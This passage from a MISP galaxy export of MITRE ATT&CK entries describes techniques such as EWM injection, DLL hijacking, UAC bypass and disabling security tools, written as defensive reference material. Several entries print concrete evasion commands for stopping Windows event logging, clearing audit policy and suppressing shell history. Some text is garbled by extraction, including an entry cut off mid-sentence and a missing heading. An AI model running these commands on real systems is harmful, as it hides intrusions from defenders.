<td><a href="https://cloud.google.com/kubernetes-engine/docs/how-to/iam">https://cloud.google.com/kubernetes-engine/docs/how-to/iam</a></td>
</tr>
<tr>
<td><a href="https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html">https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html</a></td>
</tr>
<tr>
<td><a href="https://kubernetes.io/docs/concepts/security/rbac-good-practices/">https://kubernetes.io/docs/concepts/security/rbac-good-practices/</a></td>
</tr>
<tr>
<td><a href="https://kubernetes.io/docs/reference/access-authn-authz/abac/">https://kubernetes.io/docs/reference/access-authn-authz/abac/</a></td>
</tr>
</tbody>
</table>

**Extra Window Memory Injection - T1055.011**

Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.

Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)

Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.

Execution granted through EWM injection may allow access to both the target process’s memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as `<code>WriteProcessMemory</code>` and `<code>CreateRemoteThread</code>`.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process.

The tag is: *misp-galaxy:mitre-attack-pattern="Extra Window Memory Injection - T1055.011"*

Table 5001. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1055/011">https://attack.mitre.org/techniques/T1055/011</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/">https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/</a></td>
</tr>
</tbody>
</table>

### Create Process with Token - T1134.002

Adversaries may create a new process with an existing token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as `<code>CreateProcessWithTokenW</code>` and `<code>runas</code>` (Citation: Microsoft RunAs)

Creating processes with a token not associated with the current user may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used. For example, the token could be duplicated via [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or created via [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) before being used to create a process.

While this technique is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001), the techniques can be used in conjunction where a token is duplicated and then used to create a new process.

The tag is: *misp-galaxy:mitre-attack-pattern="Create Process with Token - T1134.002"*

Table 5002. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1134/002">https://attack.mitre.org/techniques/T1134/002</a></td>
</tr>
</tbody>
</table>
Code Signing Policy Modification - T1632.001

Adversaries may modify code signing policies to enable execution of applications signed with unofficial or unknown keys. Code signing provides a level of authenticity on an app from a developer, guaranteeing that the program has not been tampered with and comes from an official source. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on a device.

Mobile devices generally enable these security controls by default, such as preventing the installation of unknown applications on Android. Adversaries may modify these policies in a number of ways, including [Input Injection](https://attack.mitre.org/techniques/T1516) or malicious configuration profiles.

The tag is: misp-galaxy:mitre-attack-pattern="Code Signing Policy Modification - T1632.001"

Table 5003. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1632/001">https://attack.mitre.org/techniques/T1632/001</a></td>
</tr>
</tbody>
</table>

System Runtime API Hijacking - T1625.001

Adversaries may execute their own malicious payloads by hijacking the way an operating system runs applications. Hijacking execution flow can be for the purposes of persistence since this hijacked execution may reoccur at later points in time.

On Android, adversaries may overwrite the standard OS API library with a malicious alternative to hook into core functions to achieve persistence. By doing this, the adversary's code will be executed every time the overwritten API function is called by an app on the infected device.

The tag is: misp-galaxy:mitre-attack-pattern="System Runtime API Hijacking - T1625.001"

Table 5004. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1625/001">https://attack.mitre.org/techniques/T1625/001</a></td>
</tr>
</tbody>
</table>

Disable or Modify Tools - T1562.001

Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate
properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems. (Citation: SCADAfence_ransomware)

Adversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection. (Citation: OutFlank System Calls)(Citation: MDSec System Calls)

Adversaries may also focus on specific applications such as Sysmon. For example, the “Start” and “Enable” values in `<code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Microsoft-Windows-Sysmon-Operational</code>` may be modified to tamper with and potentially disable Sysmon logging. (Citation: disable_win_evt_logging)

On network devices, adversaries may attempt to skip digital signature verification checks by altering startup configuration files and effectively disabling firmware verification that typically occurs at boot. (Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)(Citation: Analysis of FG-IR-22-369)

In cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor.

Furthermore, although defensive tools may have anti-tampering mechanisms, adversaries may abuse tools such as legitimate rootkit removal kits to impair and/or disable these tools. (Citation: chasing_avaddon_ransomware)(Citation: dharma_ransomware)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems. (Citation: demystifying_ryuk)

Additionally, adversaries mayexploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)), which may lead to bypassing anti-tampering features. (Citation: avoslocker_ransomware)

The tag is: `misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"

Table 5005. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1562/001">https://attack.mitre.org/techniques/T1562/001</a></td>
</tr>
</tbody>
</table>

2260
Compromise Software Supply Chain - T1195.002

Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.

Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011)

The tag is: misp-galaxy:mitre-attack-pattern="Compromise Software Supply Chain - T1195.002"

Make and Impersonate Token - T1134.003

Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the LogonUser function. The function will return a copy of the new session’s access token and the adversary can use SetThreadToken to assign the token to a thread.

This behavior is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) in that this refers to creating a new user token instead of stealing or duplicating an
Compromise Hardware Supply Chain - T1195.003

Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system. Hardware backdoors may be inserted into various devices, such as servers, workstations, network infrastructure, or peripherals.

Change Default File Association - T1546.001

Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation: Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.

System file associations are listed under `<code>HKEY_CLASSES_ROOT\.extension</code>`, for example `<code>HKEY_CLASSES_ROOT\txtfile</code>`. The entries point to a handler for that extension located at `<code>HKEY_CLASSES_ROOT\[handler]</code>`. The various commands are then listed as subkeys underneath the shell key at `<code>HKEY_CLASSES_ROOT\[handler]\shell\[action]\command</code>`. For example:

- `<code>HKEY_CLASSES_ROOT\txtfile\shell\open\command</code>
- `<code>HKEY_CLASSES_ROOT\txtfile\shell\print\command</code>
- `<code>HKEY_CLASSES_ROOT\txtfile\shell\printto\command</code>`
The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)

The tag is: `misp-galaxy:mitre-attack-pattern="Change Default File Association - T1546.001"`

Table 5009. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1546/001">https://attack.mitre.org/techniques/T1546/001</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/windows-server/administration/windows-commands/assoc">https://docs.microsoft.com/windows-server/administration/windows-commands/assoc</a></td>
</tr>
<tr>
<td><a href="https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs">https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs</a></td>
</tr>
</tbody>
</table>

**Hidden Files and Directories - T1564.001**

Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (\texttt{dir /a}) for Windows and \texttt{ls –a} for Linux and macOS).

On Linux and Mac, users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “\texttt{ls}”. Users must specifically change settings to have these files viewable.

Files on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the \texttt{attrib.exe} binary. Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.

Adversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.

The tag is: `misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001"`

Table 5010. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1564/001">https://attack.mitre.org/techniques/T1564/001</a></td>
</tr>
</tbody>
</table>
DLL Search Order Hijacking - T1574.001

Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.

There are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxss June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637)

Adversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)

If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.

The tag is: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001"

Table 5011. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1574/001">https://attack.mitre.org/techniques/T1574/001</a></td>
</tr>
</tbody>
</table>
Services File Permissions Weakness - T1574.010

Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.

The tag is: misp-galaxy:mitre-attack-pattern="Services File Permissions Weakness - T1574.010"

Table 5012. Table References

Links

https://attack.mitre.org/techniques/T1574/010

Exfiltration to Code Repository - T1567.001

Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: https://api.github.com). Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection.

Exfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network.

The tag is: misp-galaxy:mitre-attack-pattern="Exfiltration to Code Repository - T1567.001"

Table 5013. Table References

Links

https://attack.mitre.org/techniques/T1567/001
Network Address Translation Traversal - T1599.001

Adversaries may bridge network boundaries by modifying a network device’s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.

Network devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device. A typical example of this is environments where internal networks make use of non-Internet routable addresses. (Citation: RFC1918)

When an adversary gains control of a network boundary device, they can either leverage existing NAT configurations to send traffic between two separated networks, or they can implement NAT configurations of their own design. In the case of network designs that require NAT to function, this enables the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. In the case of network designs that do not require NAT, address translation can be used by adversaries to obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders.

Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities.

The tag is: misp-galaxy:mitre-attack-pattern="Network Address Translation Traversal - T1599.001"

Table 5014. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1599/001">https://attack.mitre.org/techniques/T1599/001</a></td>
</tr>
</tbody>
</table>

Disable Windows Event Logging - T1562.002

Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more. (Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.

The EventLog service maintains event logs from various system components and applications. (Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to <code>Security Settings\Local Policies\Audit Policy</code> for basic audit policy settings or <code>Security Settings\Advanced Audit Policy Configuration</code> for advanced audit policy settings. (Citation: Audit_Policy_Microsoft)(Citation: 2266)
Advanced_sec_audit_policy_settings) <code>auditpol.exe</code> may also be used to set audit policies.(Citation: auditpol)

Adversaries may target system-wide logging or just that of a particular application. For example, the Windows EventLog service may be disabled using the <code>Set-Service -Name EventLog -Status Stopped</code> or <code>sc config eventlog start=disabled</code> commands (followed by manually stopping the service using <code>Stop-Service -Name EventLog</code>).(Citation: Disable_Win_Event_Logging)(Citation: disable_win_evt_logging) Additionally, the service may be disabled by modifying the “Start” value in <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog</code> then restarting the system for the change to take effect.(Citation: disable_win_evt_logging)

There are several ways to disable the EventLog service via registry key modification. First, without Administrator privileges, adversaries may modify the “Start” value in the key <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Security</code>, then reboot the system to disable the Security EventLog.(Citation: winser19_file_overwrite_bug_twitter) Second, with Administrator privilege, adversaries may modify the same values in <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System</code> and <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Application</code> to disable the entire EventLog.(Citation: disable_win_evt_logging)

Additionally, adversaries may use <code>auditpol</code> and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the <code>/success</code> or <code>/failure</code> parameters. For example, <code>auditpol /set /category:"Account Logon" /success:disable /failure:disable</code> turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines: <code>auditpol /clear /y</code> or <code>auditpol /remove /allusers</code>.(Citation: T1562.002_redcanaryco)

By disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.

The tag is: misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002"

Table 5015. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1562/002">https://attack.mitre.org/techniques/T1562/002</a></td>
</tr>
<tr>
<td><a href="https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/t1562-impair-defenses/disable-windows-event-logging">https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/t1562-impair-defenses/disable-windows-event-logging</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol">https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol</a></td>
</tr>
</tbody>
</table>
Impair Command History Logging - T1562.003

Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.

On Linux and macOS, command history is tracked in a file pointed to by the environment variable `<code>HISTFILE</code>`. When a user logs off a system, this information is flushed to a file in the user's home directory called `<code>~/.bash_history</code>`. The `<code>HISTCONTROL</code>` environment variable keeps track of what should be saved by the `<code>history</code>` command and eventually into the `<code>~/.bash_history</code>` file when a user logs out. `<code>HISTCONTROL</code>` does not exist by default on macOS, but can be set by the user and will be respected.

Adversaries may clear the history environment variable (<code>unset HISTFILE</code>) or set the command history size to zero (<code>export HISTFILESIZE=0</code>) to prevent logging of commands. Additionally, `<code>HISTCONTROL</code>` can be configured to ignore commands that start with a space by simply setting it to “ignorespace”. `<code>HISTCONTROL</code>` can also be set to ignore duplicate commands by setting it to “ignoreall” or “ignoreboth”. In some Linux systems, this is set by default to “ignoreall” which covers both of the previous examples. This means that “ls” will not be saved, but “ls” would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands.

On Windows systems, the `<code>PSReadLine</code>` module tracks commands used in all PowerShell sessions and writes them to a file (<code>$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt</code>) by default. Adversaries may change where these logs are saved using `<code>Set-PSReadLineOption -HistorySavePath {File Path}</code>`. This will cause `<code>ConsoleHost_history.txt</code>` to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command `<code>Set-PSReadlineOption -HistorySaveStyle SaveNothing</code>.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos
PowerShell Command History Forensics)

Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to disable historical command logging (e.g. `<code>no logging</code>`).

The tag is: `misp-galaxy:mitre-attack-pattern="Impair Command History Logging - T1562.003"`

Table 5016. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1562/003">https://attack.mitre.org/techniques/T1562/003</a></td>
</tr>
<tr>
<td><a href="https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics">https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7">https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7</a></td>
</tr>
</tbody>
</table>

Disable or Modify Tools - T1629.003

Adversaries may disable security tools to avoid potential detection of their tools and activities. This can take the form of disabling security software, modifying SELinux configuration, or other methods to interfere with security tools scanning or reporting information. This is typically done by abusing device administrator permissions or using system exploits to gain root access to the device to modify protected system files.

The tag is: `misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1629.003"`

Table 5017. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1629/003">https://attack.mitre.org/techniques/T1629/003</a></td>
</tr>
</tbody>
</table>

Compromise Hardware Supply Chain - T1474.002

Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system.

The tag is: `misp-galaxy:mitre-attack-pattern="Compromise Hardware Supply Chain - T1474.002"`

Table 5018. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1474/002">https://attack.mitre.org/techniques/T1474/002</a></td>
</tr>
</tbody>
</table>
Bypass User Account Control - T1548.002

Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)

If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows)

Many methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:

- `<code>eventvwr.exe</code>` can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)

Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity. (Citation: SANS UAC Bypass)

The tag is: `misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002"`
User Activity Based Checks - T1497.002

Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors. (Citation: Deloitte Environment Awareness)

Adversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016), browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate. (Citation: FireEye FIN7 April 2017)

The tag is: misp-galaxy:mitre-attack-pattern="User Activity Based Checks - T1497.002"

Table 5020. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1497/002">https://attack.mitre.org/techniques/T1497/002</a></td>
</tr>
<tr>
<td><a href="https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc">https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc</a></td>
</tr>
</tbody>
</table>
Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data. Most cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance. (Citation: AWS Instance Metadata API) A cloud metadata API has been used in at least one high profile compromise. (Citation: Krebs Capital One August 2019)

If adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, adversaries may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows them to gain access to the sensitive information via a request to the Instance Metadata API. (Citation: RedLock Instance Metadata API 2018)

The de facto standard across cloud service providers is to host the Instance Metadata API at <code>http://169.254.169.254</code>. The tag is: 

```
mitre-attack-pattern="Cloud Instance Metadata API - T1552.005"
```

### Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1552/005">https://attack.mitre.org/techniques/T1552/005</a></td>
</tr>
<tr>
<td><a href="https://krebsonsecurity.com/2019/08/what-we-can-learn-from-the-capital-one-hack/">https://krebsonsecurity.com/2019/08/what-we-can-learn-from-the-capital-one-hack/</a></td>
</tr>
<tr>
<td><a href="https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse">https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse</a></td>
</tr>
</tbody>
</table>

### Exfiltration to Cloud Storage - T1567.002

Adversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel. Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet.

Examples of cloud storage services include Dropbox and Google Docs. Exfiltration to these cloud
storage services can provide a significant amount of cover to the adversary if hosts within the network are already communicating with the service.

The tag is: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002"

Table 5022. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1567/002">https://attack.mitre.org/techniques/T1567/002</a></td>
</tr>
</tbody>
</table>

**Compromise Software Supply Chain - T1474.003**

Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.

The tag is: misp-galaxy:mitre-attack-pattern="Compromise Software Supply Chain - T1474.003"

Table 5023. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1474/003">https://attack.mitre.org/techniques/T1474/003</a></td>
</tr>
</tbody>
</table>

**Sudo and Sudo Caching - T1548.003**

Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.

Within Linux and MacOS systems, sudo (sometimes referred to as "superuser do") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The <code>sudo</code> command "allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments."(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code>, which is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password. This is because <code>sudo</code> has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at <code>/var/db/</code> with a timestamp of when sudo
